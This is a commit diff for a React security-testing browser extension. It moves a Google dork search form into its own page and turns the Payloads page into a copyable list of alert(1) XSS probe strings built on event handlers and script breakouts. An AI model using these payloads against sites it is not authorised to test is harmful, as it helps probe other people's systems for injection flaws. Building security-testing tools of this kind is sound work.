improve & add xss payloads and structure of extension

package.json

@@ -13,11 +13,15 @@
     "react-dom": "^18.2.0",
     "react-icons": "^4.6.0",
     "react-router-dom": "^6.4.2",
-    "styled-components": "^5.3.6"
+    "react-syntax-highlighter": "^15.5.0",
+    "styled-components": "^5.3.6",
+    "react-copy-to-clipboard": "^5.0.4"
   },
   "devDependencies": {
     "@types/react": "^18.0.17",
+    "@types/react-copy-to-clipboard": "^5.0.4",
     "@types/react-dom": "^18.0.6",
+    "@types/react-syntax-highlighter": "^15.5.5",
     "@types/styled-components": "^5.1.26",
     "@vitejs/plugin-react": "^2.1.0",
     "typescript": "^4.6.4",

src/App.tsx

@@ -1,7 +1,7 @@
 import React from 'react'
-import {Route, Routes, useLocation} from "react-router-dom";
+import {Route, Routes} from "react-router-dom";
 
-import { Navbar, Footer, Payloads, SecList, Tools, Homepage } from './components/';
+import {Footer, Homepage, Navbar, Payloads, SecList, Tools} from './components/';
 
 const xssPayloads = [
     'onload=alert(1)><svg/1=',

src/components/GoogleDorks/GoogleDorks.jsx

@@ -0,0 +1,38 @@
+import React, {useState} from 'react';
+
+const GoogleDorks = () => {
+
+
+    const DorkList = 'site:';
+    const DorkList2 = 'intitle:';
+    const DorkList3 = 'inurl:';
+
+    // const searchDork = DorkList[0];
+    const [value, setValue] = useState("");
+    const [inurlValue, setInurlValue] = useState("");
+
+    const handleClick = () => {
+        const site = value;
+        const inurlValueDork = DorkList3 + inurlValue;
+        const searchUrl = `https://www.google.com/search?q=${DorkList}` + site + ` ` + inurlValueDork;
+
+        console.log(searchUrl);
+        window.open(searchUrl, "_blank");
+    };
+
+
+    return (
+        <div>
+            <input type="text" placeholder={"site:"} name={"site"} value={value}
+                   onChange={(e) => setValue(e.target.value)}/>
+
+            <input type="text" placeholder={"inurl:"} name={"inurl"} value={inurlValue}
+                   onChange={(e) => setInurlValue(e.target.value)}/>
+
+            <br/>
+            <button className="button-final" onClick={handleClick}> Submit</button>
+
+        </div>
+    );
+};
+export default GoogleDorks;

src/components/GoogleDorks/GoogleDorksElements.jsx

@@ -0,0 +1,12 @@
+import styled from 'styled-components';
+
+export const GoogleDorks = styled.div`
+    display: flex;
+    flex-direction: column;
+    color: #fff;
+    padding: 0 30px;
+    position: relative;
+    z-index: 1;
+    margin-top: 80px;
+    width: 500px;
+`;

src/components/Homepage/Homepage.tsx

@@ -1,40 +1,11 @@
-import React, {useState} from 'react';
-
+import React from 'react';
 
 const Homepage = () => {
-
-
-    const DorkList = 'site:';
-    const DorkList2 = 'intitle:';
-    const DorkList3 = 'inurl:';
-
-    // const searchDork = DorkList[0];
-    const [value, setValue] = useState("");
-    const [inurlValue, setInurlValue] = useState("");
-
-    const handleClick = () => {
-        const site = value;
-        const inurlValueDork = DorkList3 + inurlValue;
-        const searchUrl = `https://www.google.com/search?q=${DorkList}` + site + ` ` + inurlValueDork;
-
-        console.log(searchUrl);
-        window.open(searchUrl, "_blank");
-    };
-
-
     return (
         <div>
-            <input type="text" placeholder={"site:"} name={"site"} value={value}
-                   onChange={(e) => setValue(e.target.value)}/>
-
-              <input type="text" placeholder={"inurl:"} name={"inurl"} value={inurlValue}
-                   onChange={(e) => setInurlValue(e.target.value)}/>
-
-            <br/>
-                <button className="button-final" onClick={handleClick}> Submit</button>
-
+            <h1>Homepage</h1>
         </div>
-);
+    );
 };
 
 export default Homepage;

src/components/Navbar/NavList.tsx

@@ -3,6 +3,7 @@ import { NavItem, NavListContainer } from "./NavListElements";
 
 const navItems = [
 	{ to: '', title: 'Home' },
+	{ to: 'googleDorks', title: 'Google Dorks' },
 	{ to: 'payloads', title: 'Payloads' },
 	{ to: 'tools', title: 'Tools' },
 	{ to: 'sec-list', title: 'SecList' },

src/components/Payloads/Payloads.tsx

@@ -1,11 +1,64 @@
-import React from "react";
+import React, {useState} from "react";
+import SyntaxHighlighter from 'react-syntax-highlighter';
+import {CopyToClipboard} from 'react-copy-to-clipboard';
+import {
+    CopyToClipboardIcon,
+    PayloadsContainer,
+    PayloadsCopyToClipboard,
+    PayloadsHeading,
+    SyntaxHighlighterDesign
+} from "./PayloadsElements";import {AiOutlineCopy} from 'react-icons/ai';
+import {docco} from 'react-syntax-highlighter/dist/esm/styles/hljs';
 
 const Payloads = () => {
-	return (
-		<div>
-			<h1>Payloads</h1>
-		</div>
-	);
+
+    const PayloadsList = [
+        "onload=alert(1)><svg/1=",
+        ">alert(1)</script><script/1=",
+        '<a draggable="true" ondrag="alert(1)">test</a>',
+        '<a draggable="true" ondragend="alert(1)">test</a>',
+        '<a draggable="true" ondragenter="alert(1)">test</a>',
+        '<a draggable="true" ondragleave="alert(1)">test</a>',
+        '<a draggable="true" ondragstart="alert(1)">test</a>',
+    '<a onmouseenter="alert(1)">test</a>',
+    '<a onmouseleave="alert(1)">test</a>',
+    '<a onmousemove="alert(1)">test</a>',
+    '<a onmouseout="alert(1)">test</a>',
+    '<a onmouseover="alert(1)">test</a>',
+    '<a onmouseup="alert(1)">test</a>',
+    ];
+
+    const [state, setState] = useState({
+        value: '',
+        copied: false,
+    });
+
+    const PayloadsListMap = PayloadsList.map((payload, index) => {
+        return (
+            <PayloadsCopyToClipboard key={index}>
+                <SyntaxHighlighterDesign language="javascript" style={docco}>
+                    {payload}
+                </SyntaxHighlighterDesign>
+                <CopyToClipboard text={payload} onCopy={() => setState({value, copied: true})}>
+                    <CopyToClipboardIcon>
+                        <AiOutlineCopy/>
+                    </CopyToClipboardIcon>
+                </CopyToClipboard>
+            </PayloadsCopyToClipboard>
+        );
+    });
+
+    return (
+        <PayloadsContainer>
+            <PayloadsHeading>Payloads</PayloadsHeading>
+
+            {PayloadsListMap}
+
+
+            {state.copied ? <span style={{color: 'red'}}>Copied.</span> : null}
+
+        </PayloadsContainer>
+    );
 };
 
 export default Payloads;

src/components/Payloads/PayloadsElements.tsx

@@ -0,0 +1,34 @@
+import styled from 'styled-components';
+import {AiOutlineCopy} from 'react-icons/ai';
+import SyntaxHighlighter from 'react-syntax-highlighter';
+
+export const SyntaxHighlighterDesign = styled(SyntaxHighlighter)`
+    min-width: 300px;
+`;
+export const PayloadsContainer = styled.div`
+    display: flex;
+    flex-direction: column;
+    color: #fff;
+    padding: 0 30px;
+    position: relative;
+    z-index: 1;
+    margin-top: 20px;
+    width: 500px;
+`;
+
+export const CopyToClipboardIcon = styled.div`
+    margin: 22px 0 0 5px;
+    font-size: 25px;
+`;
+
+export const PayloadsCopyToClipboard = styled.div`
+    display: flex;
+
+`;
+
+export const PayloadsHeading = styled.h1`
+margin: 10px 0 10px 0;
+`;
+
+export const CopyToClipboard = styled.h2`
+`;